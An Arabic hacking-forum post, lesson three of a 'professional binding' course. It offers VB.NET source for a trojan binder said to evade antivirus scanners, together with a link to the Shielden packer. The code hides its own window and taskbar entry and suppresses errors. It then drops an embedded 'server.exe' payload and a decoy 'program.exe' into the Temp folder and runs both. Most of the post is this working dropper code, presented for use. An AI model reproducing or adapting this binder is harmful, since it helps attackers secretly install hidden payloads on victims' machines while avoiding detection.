قراصنه الجنوب

منتدى قراصنه الجنوب


    درس ثالث: من دوره تلغيم احترافي

    شاطر
    avatar
    Admin
    Admin
    Admin

    عدد المساهمات : 16
    تاريخ التسجيل : 07/03/2015

    درس ثالث: من دوره تلغيم احترافي

    مُساهمة من طرف Admin في الأحد مارس 08, 2015 6:42 pm

    السلام عليكم
    شخباركم نشالله كل بخير
    الدرس الثالث من دوره تلغيم احترافي
    عمل تلغيمه تتخطى فاحصين نشالله يعجبكم
    اتركم مع شرح


    رابط تحميل برنامج Shielden من موقع رسمي
    http://www.safengine.com/en-us

    كود مستخدم بلشرح
    Public Class Form1

    Private Property laravirus As Integer

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Opacity = 0
    Me.Hide()
    Me.ShowInTaskbar = False
    Me.ShowIcon = False
    On Error Resume Next
    laravirus = 1000
    Dim devpoint As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Dim lara As String = devpoint + "server.exe"
    IO.File.WriteAllBytes(lara, My.Resources.server)
    Process.Start(lara)


    laravirus = 1000
    Dim devpoint1 As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Dim lara1 As String = devpoint1 + "program.exe"
    IO.File.WriteAllBytes(lara1, My.Resources.program)
    Process.Start(lara1)
    End
    End Sub
    End Class

    نشالله شرح عجبكم
    اخوكم شـــــــــــبح ذي قـــــــــار

      الوقت/التاريخ الآن هو الأحد أكتوبر 22, 2017 1:39 pm